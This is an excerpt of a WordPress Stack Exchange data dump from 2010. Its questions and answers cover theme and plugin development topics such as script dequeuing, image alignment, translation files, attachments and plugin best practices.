  <row Id="696" PostTypeId="2" ParentId="695" CreationDate="2010-08-22T14:33:25.340" Score="4" ViewCount="" Body="&lt;p&gt;Styles and scripts are always set up by the functions &lt;code&gt;wp_enqueue_script()&lt;/code&gt; and &lt;code&gt;wp_enqueue_style()&lt;/code&gt;, which have to be tied to a particular action hook in order to function.  I took a peek inside Contact Form 7, and it looks like it's using action tags of &lt;code&gt;wpcf7_enqueue_scripts&lt;/code&gt; and &lt;code&gt;wpcf7_enqueue_styles&lt;/code&gt; to add them to the &lt;code&gt;wp_print_scripts&lt;/code&gt; and &lt;code&gt;wp_print_styles&lt;/code&gt; hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what you need to do is un-hook the scripts and styles from every page &lt;em&gt;but&lt;/em&gt; your contact page.  The &lt;code&gt;wp_head&lt;/code&gt; action fires before the script and styles actions, so you'll need to add something like this to your theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_wpcf7_extras() {&#xA;    remove_action('wp_print_scripts', 'wpcf7_enqueue_scripts');&#xA;    remove_action('wp_print_styles', 'wpcf7_enqueue_styles');&#xA;}&#xA;&#xA;if( ! is_page('contact me') ) {&#xA;    add_action('wp_head', 'remove_wpcf7_extras');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_PAGE_Page&quot; rel=&quot;nofollow&quot;&gt;is_page()&lt;/a&gt; function will return &lt;code&gt;true&lt;/code&gt; when you're on the contact page (assuming the name is &quot;contact me&quot;) ... you can also use the page slug and page ID for the filter.  On all other pages, the &lt;code&gt;if()&lt;/code&gt; conditional will add the script/style removal function to the &lt;code&gt;wp_head&lt;/code&gt; action, which fires just before the &lt;code&gt;wp_print_scripts&lt;/code&gt; and &lt;code&gt;wp_print_styles&lt;/code&gt; actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should remove the extra code from your pages, and you won't have to deactivate the plug-in or edit any core files.  The functions and code I've listed above also won't cause your theme to break if you remove Contact Form 7 in the future, either ... so no need to worry about future upgrade compatibility.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-22T14:33:25.340" CommentCount="9" />
  <row Id="697" PostTypeId="2" ParentId="693" CreationDate="2010-08-22T15:01:31.693" Score="3" ViewCount="" Body="&lt;p&gt;To avoid the line break when posting 2 images side by side assign the alignleft or alignright class to them and put them on the same line in the editor without skipping any spaces between them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&quot;/wp-content/uploads/your_image.jpg&quot; alt=&quot;&quot; class=&quot;alignleft&quot; /&amp;gt;&amp;lt;img src=&quot;/wp-content/uploads/your_image2.jpg&quot; alt=&quot;&quot; class=&quot;alignright&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;I forgot to mention that content after the floated images will overflow between the images unless you clear the floats.  I add: &lt;code&gt;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&lt;/code&gt; after the images and add &lt;code&gt;.clear {clear:both;}&lt;/code&gt; to my css.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-08-24T01:31:15.810" LastActivityDate="2010-08-24T01:31:15.810" />
  <row Id="698" PostTypeId="1" AcceptedAnswerId="699" CreationDate="2010-08-22T15:18:29.563" Score="2" ViewCount="75" Body="&lt;p&gt;I have an idea for a new plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where can I propose the idea for the plugin so that someone might pick it up?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s: I won't be willing to pay for it (it is not that important to me), but I still think it is a cool idea.  I am also not going to try to make it myself, since my PHP skills are not good enough.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-08-23T16:00:32.863" Title="Where can I propose a new plugin?" Tags="&lt;plugins&gt;&lt;community&gt;" AnswerCount="3" />
  <row Id="699" PostTypeId="2" ParentId="698" CreationDate="2010-08-22T16:29:15.097" Score="3" ViewCount="" Body="&lt;p&gt;I'd suggest &lt;a href=&quot;http://jobs.wordpress.net&quot; rel=&quot;nofollow&quot;&gt;jobs.wordpress.net&lt;/a&gt;.  It's a job listing site for freelance WordPress development.  Just be very clear that you aren't offering any pay for the project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can also suggest things in the official WordPress forums: &lt;a href=&quot;http://wordpress.org/support/forum/requests-and-feedback&quot; rel=&quot;nofollow&quot;&gt;Requests and Feedback&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One third option is to mention it to someone on the &lt;a href=&quot;http://lists.automattic.com/mailman/listinfo/wp-hackers&quot; rel=&quot;nofollow&quot;&gt;WP-Hackers mailing list&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-22T16:29:15.097" />
  <row Id="700" PostTypeId="2" ParentId="698" CreationDate="2010-08-22T16:54:33.100" Score="3" ViewCount="" Body="&lt;p&gt;In addition to what @EAMann said consider adding the request here on StackExchange's WordPress Answers in the form of a question. Describe the plugin and ask if anything similar exists.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-22T16:54:33.100" CommentCount="3" />
  <row Id="701" PostTypeId="2" ParentId="693" CreationDate="2010-08-22T17:44:30.773" Score="2" ViewCount="" Body="&lt;p&gt;Along with what @Chris_O said, when you are in the editor for the pictures select Left on one and Right on the other. This applies the alignleft and alignright classes, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your theme has to have the CSS classes defined, if you have one from vendor, they are more then likely there, but in case they aren't, just go into the theme editor and add them to the CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.alignleft {float:left;}&#xA;.alignright {float:right;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also like to add something like this for the images I float, since the test might wrap around them;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;img.alignleft, img.alignright {&#xA;padding: 5px;&#xA;display: inline;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously you can add margin or changing the padding to suite your taste.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-27T13:16:51.107" LastActivityDate="2010-12-27T13:16:51.107" />
  <row Id="702" PostTypeId="2" ParentId="617" CreationDate="2010-08-22T18:01:06.767" Score="2" ViewCount="" Body="&lt;p&gt;My workflow is pretty simple. I keep up with 4 environments. Testing, Development, Staging and Production.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Workflow&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I use git for my revision control; I ignore the wp-config.php file so this file doesn't get overwritten as I push and pull across the different locations. I use unfuddle as the public / central repository for others to push and pull from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to work fairly well. I will commit as often as I can remember to while I'm working on Testing. At least once a day, if not more, I sync up with unfuddle and having the Development server pull in the changes. I try not to do any direct work on the server, so I am mainly just pulling in changes. If there was significant database changes made (new plugins, updated content, etc) then I will dump it from my Testing; make a backup of the Development and import the dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the same process for Staging. Staging sits on the same server as production it's double check the polish and make sure all the settings and modules are working on the production server. When I'm ready, I backup all the production files and database, and copy over the files and database from staging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since wp-config.php isn't in git, it makes it pretty simple to push and pull things around. When moving to production from staging, I copy over the files, and not use git, so I have to make sure the wp-config.php is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've asked a simliar &lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;question&lt;/a&gt;, and I am going to look into using this plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also thought about using Capistrano; and creating a very detailed migration script that will go through and handle all the files and database backups/migrations as well as updating the file paths and URLs.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Tools&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Textmate for my editor, though I'm beginnig to use MacVim. I use vim when on linux.&lt;/li&gt;&#xA;&lt;li&gt;Sequel Pro for database manipulation. If I can't connect with it I'll use PHPMyAdmin&lt;/li&gt;&#xA;&lt;li&gt;Transmit for FTP if I need it.&lt;/li&gt;&#xA;&lt;li&gt;git for revision control. Mostly by command line, though I've been using the client in Textmate and GittiApp a bit. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-22T18:01:06.767" CommunityOwnedDate="2010-08-22T18:01:06.767" />
  <row Id="703" PostTypeId="1" AcceptedAnswerId="711" CreationDate="2010-08-22T18:01:50.603" Score="0" ViewCount="366" Body="&lt;p&gt;I'm starting to learn &lt;a href=&quot;http://seleniumhq.org/&quot; rel=&quot;nofollow&quot;&gt;Selenium&lt;/a&gt; and &lt;a href=&quot;http://www.phpunit.de/&quot; rel=&quot;nofollow&quot;&gt;PHPUnit&lt;/a&gt; and I am interested in implementing what I've learned in my WordPress projects. I've seen &lt;a href=&quot;http://unit-test.svn.wordpress.org&quot; rel=&quot;nofollow&quot;&gt;http://unit-test.svn.wordpress.org&lt;/a&gt; and wonder if there are any tutorials or core-developer's notes on how to use it?&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T03:44:52.280" LastActivityDate="2010-08-23T03:44:52.280" Title="Tutorials for Unit-Testing in WordPress and for unit-test.svn.wordpress.org?" Tags="&lt;debug&gt;&lt;testing&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="704" PostTypeId="1" AcceptedAnswerId="706" CreationDate="2010-08-22T18:04:13.627" Score="-3" ViewCount="174" Body="&lt;p&gt;I use &lt;a href=&quot;http://git-scm.com/&quot; rel=&quot;nofollow&quot;&gt;Git&lt;/a&gt; on my development and I find it to be reliable so I wonder what is the reason Automattic choose to use &lt;a href=&quot;http://subversion.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;SVN&lt;/a&gt; for WordPress?&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T04:49:57.510" LastActivityDate="2010-08-24T17:59:47.857" Title="Why Does Automattic use SVN for WordPress Instead of Git?" Tags="&lt;subversion&gt;&lt;git&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="705" PostTypeId="2" ParentId="218" CreationDate="2010-08-22T18:07:45.493" Score="0" ViewCount="" Body="&lt;p&gt;i'm using git. it's simple. you nly have to understand simple command such as clone, comit, push, pull and you're ready to go. that's the basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eventhough, if you use git it more such as coordinate a team to work on a products, then it's another level. but in the end, it worthed to use git or any version control. there're realiable when shit happen.&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2010-08-22T18:07:45.493" />
  <row Id="706" PostTypeId="2" ParentId="704" CreationDate="2010-08-22T18:09:18.110" Score="2" ViewCount="" Body="&lt;p&gt;More then likely it is personal preference. Some people like the workflow introduced by SVN, and some just don't like the distributed model of Git. Some like the way commits, branches, tags etc are handled in one revision control over another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could also be that they where using SVN before Git was stable enough and they don't want to go through and switch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why fix something that isn't broken?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't think there is a good answer you are going to get on this board, unless someone from Automattic is here. There isn't a right or wrong answer in picking version control systems.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T03:36:27.467" LastActivityDate="2010-08-23T03:36:27.467" />
  <row Id="707" PostTypeId="1" AcceptedAnswerId="710" CreationDate="2010-08-22T18:40:32.530" Score="4" ViewCount="1110" Body="&lt;p&gt;How do we add language support using .pot and .mo files in a WordPress theme? And how we retrieve the theme?&lt;/p&gt;&#xA;" OwnerUserId="365" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T03:38:35.123" LastActivityDate="2010-08-23T03:38:35.123" Title="Adding Language Support using .pot and .mo files to a WordPress Theme?" Tags="&lt;themes&gt;&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="708" PostTypeId="2" ParentId="677" CreationDate="2010-08-22T23:03:24.043" Score="1" ViewCount="" Body="&lt;p&gt;I really like G-Lock's &lt;a href=&quot;http://www.glockeasymail.com/wordpress-email-newsletter-plugin-for-double-opt-in-subscription/&quot; rel=&quot;nofollow&quot;&gt;WP Double Opt-In List Management Plugin&lt;/a&gt;. It has plenty of features for managing the subscriber list and options for customizing the email being sent out. Only issue I've had is that it pulls from the RSS feed, so I haven't figured out a way yet to include featured images in the email.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-08-22T23:03:24.043" />
  <row Id="709" PostTypeId="2" ParentId="707" CreationDate="2010-08-23T00:19:06.503" Score="3" ViewCount="" Body="&lt;p&gt;My first recommendation would be to read &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; in the WordPress Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add language support, the &lt;em&gt;first&lt;/em&gt; thing you need to do is make sure all of your echoed content is passed through a filter that can handle internationalization (i.e &lt;code&gt;_e()&lt;/code&gt; and &lt;code&gt;__()&lt;/code&gt;).  Then you'll need to make sure everything is mapping to the same &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers#Text_Domains&quot; rel=&quot;nofollow&quot;&gt;text domain&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you'll use an external tool to parse all of your content for translatable strings, translate them, and save the appropriate language files.  Full instructions and a list of resources are available on the &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt; article I linked to above.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-23T00:19:06.503" />
  <row Id="710" PostTypeId="2" ParentId="707" CreationDate="2010-08-23T00:41:49.140" Score="6" ViewCount="" Body="&lt;p&gt;The .po (Portable Object) file is like a small library containing all the English terms in the  theme with an empty column for non-English translations. Using software like Poedit, the .po file can be opened, translations can be added, and it can be saved, which also generates the .mo (Machine Object) file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With a suitably localized theme, the steps involved in translating it are:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Run a tool over the code to produce&#xA;a POT file (Portable Object&#xA;Template), simply a list of all&#xA;localizable text.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a plain text&#xA;    editor or a special localization&#xA;    tool to generate a translation for&#xA;    each piece of text. This produces a&#xA;    PO file (Portable Object). The only&#xA;    difference between a POT and PO file&#xA;    is that the PO file contains&#xA;    translations&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compile the PO file to&#xA;    produce a MO file (Machine Object),&#xA;    which can then be used in the theme&#xA;    or plugin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Open Source Software Needed for the translation process:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.poedit.net/&quot; rel=&quot;nofollow&quot;&gt;Poedit&lt;/a&gt; a cross-platform gettext catalogs (.po files) editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gnu.org/software/gettext/&quot; rel=&quot;nofollow&quot;&gt;Gettext&lt;/a&gt;  the GNU `gettext' utilities are a set of tools that provides a framework to help other GNU packages produce multi-lingual messages.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A complete guide and tutorial on translating WordPress themes can be found on &lt;a href=&quot;http://urbangiraffe.com/articles/translating-wordpress-themes-and-plugins/&quot; rel=&quot;nofollow&quot;&gt;Urban Giraffe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-23T00:41:49.140" CommentCount="1" />
  <row Id="711" PostTypeId="2" ParentId="703" CreationDate="2010-08-23T01:11:16.647" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Resources on how to use the WordPress unit-test:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://unit-tests.trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress Automated Tests Trac&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Automated Testing in The &lt;a href=&quot;http://codex.wordpress.org/Automated_Testing&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Unit-Test &lt;a href=&quot;http://unit-test.svn.wordpress.org/README.txt&quot; rel=&quot;nofollow&quot;&gt;README&lt;/a&gt; File&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The PHPUnit &lt;a href=&quot;http://www.phpunit.de/manual/current/en/automating-tests.html&quot; rel=&quot;nofollow&quot;&gt;Manual&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hakre/WP Unit-Tests &lt;a href=&quot;http://codex.wordpress.org/User%3aHakre/WP_Unit-Tests&quot; rel=&quot;nofollow&quot;&gt;Codex Page&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-23T01:11:16.647" CommentCount="2" />
  <row Id="712" PostTypeId="1" AcceptedAnswerId="714" CreationDate="2010-08-23T02:24:36.640" Score="0" ViewCount="557" Body="&lt;p&gt;I'm using the latest build of WP and would like to display the first image attached to the post at the top of the post content. What code do I have to add to single.php to make this happen?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T03:31:23.960" LastActivityDate="2010-08-23T05:17:28.620" Title="Displaying Post Attachment(s) at Top of single.php" Tags="&lt;attachments&gt;&lt;3.0.1&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="713" PostTypeId="2" ParentId="712" CreationDate="2010-08-23T02:36:10.267" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure how to limit it to the first attachment (and how to limit it to image attachments), but this should be a good starting point.  From &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts#Show_attachments_for_the_current_post&quot; rel=&quot;nofollow&quot;&gt;The Codex&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;    ); &#xA;$attachments = get_posts($args);&#xA;if ($attachments) {&#xA;    foreach ($attachments as $attachment) {&#xA;        echo apply_filters('the_title', $attachment-&amp;gt;post_title);&#xA;        the_attachment_link($attachment-&amp;gt;ID, false);&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-23T02:36:10.267" />
  <row Id="714" PostTypeId="2" ParentId="712" CreationDate="2010-08-23T03:14:51.753" Score="1" ViewCount="" Body="&lt;p&gt;Attachments are considered children of the post they're attached to, so this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images=get_children( array('post_parent'=&amp;gt;$post-&amp;gt;ID,&#xA;                            'post_mime_type'=&amp;gt;'image',&#xA;                             'numberposts'=&amp;gt;1));&#xA;echo wp_get_attachment_image($images[0]-&amp;gt;ID, 'large');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for a large image... replace &quot;large&quot; with the size definition you want or a width,height array.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-08-23T03:14:51.753" CommentCount="2" />
  <row Id="715" PostTypeId="1" AcceptedAnswerId="730" CreationDate="2010-08-23T03:53:13.163" Score="36" ViewCount="2692" Body="&lt;p&gt;Starting a community wiki to collect up &lt;strong&gt;&lt;em&gt;objective&lt;/em&gt;&lt;/strong&gt; best practices for plugin development. This question was inspired by &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-August/034246.html&quot; rel=&quot;nofollow&quot;&gt;@EAMann's comments on wp-hackers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to collaborate on what objective best practices might be so that we can potentially eventually use them in some community collaboration review process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; After seeing the first few responses it becomes clear that we need to have only one idea/suggestion/best-practice per answer and people should review the list to ensure there are no duplicates before posting.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2011-02-17T16:29:48.047" LastActivityDate="2011-06-21T16:40:14.697" CommunityOwnedDate="2010-08-23T03:53:13.163" Title="Objective Best Practices for Plugin Development?" Tags="&lt;plugin-development&gt;&lt;best-practices&gt;&lt;wiki&gt;" AnswerCount="36" CommentCount="2" FavoriteCount="47" />
  <row Id="716" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T04:07:13.087" Score="17" ViewCount="" Body="&lt;h2&gt;Uninstalling should remove all of a plugin's data&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Upon being removed from a WordPress installation, &lt;strong&gt;a plugin should delete all files, folders, database entries, and tables&lt;/strong&gt; which it created as well as the &lt;strong&gt;option values&lt;/strong&gt; it created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins may offer an option to export/import settings, so that settings can be saved outside of WordPress prior to deletion.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Related&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/717#717&quot;&gt;Deactivation should not provoke Data-Loss&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-09-29T13:32:03.573" LastActivityDate="2010-09-29T13:32:03.573" CommunityOwnedDate="2010-08-23T04:07:13.087" CommentCount="9" />
  <row Id="717" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T04:27:17.680" Score="12" ViewCount="" Body="&lt;h2&gt;Deactivation should not provoke Data-Loss&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A plugin &lt;em&gt;should not&lt;/em&gt; &lt;strong&gt;delete any of its data upon &lt;em&gt;deactivation&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/716#716&quot;&gt;Uninstall should remove all plugin's data&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T19:37:31.790" LastActivityDate="2010-08-25T19:37:31.790" CommunityOwnedDate="2010-08-23T04:27:17.680" />
  <row Id="718" PostTypeId="2" ParentId="712" CreationDate="2010-08-23T05:17:28.620" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Function to get first image attached to a post&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_image($size = 'medium' , $class = ”){&#xA;global $post;&#xA;&#xA;//setup the attachment array&#xA;$att_array = array(&#xA;'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;'post_type' =&amp;gt; 'attachment',&#xA;'post_mime_type' =&amp;gt; 'image',&#xA;'order_by' =&amp;gt; 'menu_order'&#xA;);&#xA;&#xA;//get the post attachments&#xA;$attachments = get_children($att_array);&#xA;&#xA;//make sure there are attachments&#xA;if (is_array($attachments)){&#xA;//loop through them&#xA;foreach($attachments as $att){&#xA;//find the one we want based on its characteristics&#xA;if ( $att-&amp;gt;menu_order == 0){&#xA;$image_src_array = wp_get_attachment_image_src($att-&amp;gt;ID, $size);&#xA;&#xA;//get url – 1 and 2 are the x and y dimensions&#xA;$url = $image_src_array[0];&#xA;$caption = $att-&amp;gt;post_excerpt;&#xA;$image_html = '&amp;lt;img src=&quot;%s&quot; alt=&quot;%s&quot; /&amp;gt;';&#xA;&#xA;//combine the data&#xA;$html = sprintf($image_html,$url,$caption,$class);&#xA;&#xA;//echo the result&#xA;echo $html;&#xA;}&#xA;}&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Now we need to tell WordPress where to display this image&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this line where you want to display the image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_image('medium','post-image'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;The Gotcha for using this aproach&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add an image to the post editor it will display 2 times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;A case for using this approach&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works great when you want to use thumbnails(featured image) on your blog pages then display a larger version of the image in single.php and don't want to have to set a featured image then manually insert it.  With this method you just set the featured image to attach it to the post and be done with it.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-23T05:17:28.620" />
  <row Id="719" PostTypeId="2" ParentId="715" CreationDate="2010-08-23T08:56:05.460" Score="20" ViewCount="" Body="&lt;h2&gt;Load Scripts/CSS with &lt;code&gt;wp_enqueue_script&lt;/code&gt; and &lt;code&gt;wp_enqueue_style&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plugins should not load / attempt to load duplicate versions of JS / CSS files, especially jQuery and other JS files included in WP Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins should always use &lt;code&gt;wp_enqueue_script&lt;/code&gt; and &lt;code&gt;wp_enqueue_style&lt;/code&gt; when linking JS and CSS files and never directly via &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/795#795&quot;&gt;Re-Use existing functions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="184" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T18:47:47.757" LastActivityDate="2010-08-25T18:47:47.757" CommunityOwnedDate="2010-08-23T08:56:05.460" CommentCount="1" />
  <row Id="720" PostTypeId="2" ParentId="668" CreationDate="2010-08-23T09:03:06.053" Score="2" ViewCount="" Body="&lt;p&gt;How about building the needed wordpress media UI for the new gsoc stream wrapper API project for rtmp/rtmpe servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.github.com/jmstacey/wp-stream-wrappers/&quot; rel=&quot;nofollow&quot;&gt;http://wiki.github.com/jmstacey/wp-stream-wrappers/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I keep all my video content on separate flash communication server clusters as I do a lot of live video broadcasting. One thing that drives me and my customers nuts about wordpress is having to leave the wp editor to go and get the embed code for a video from my other servers video management software platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it even worse, I use the highwinds and akamai cdn as well, leaving me video files in 3 locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to access all my media from any server, cdn, directly within the wordpress editor would be a dream come true. For me at least it would be my #1 priority this year.&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2010-08-23T09:03:06.053" CommunityOwnedDate="2010-08-23T09:03:06.053" CommentCount="2" />
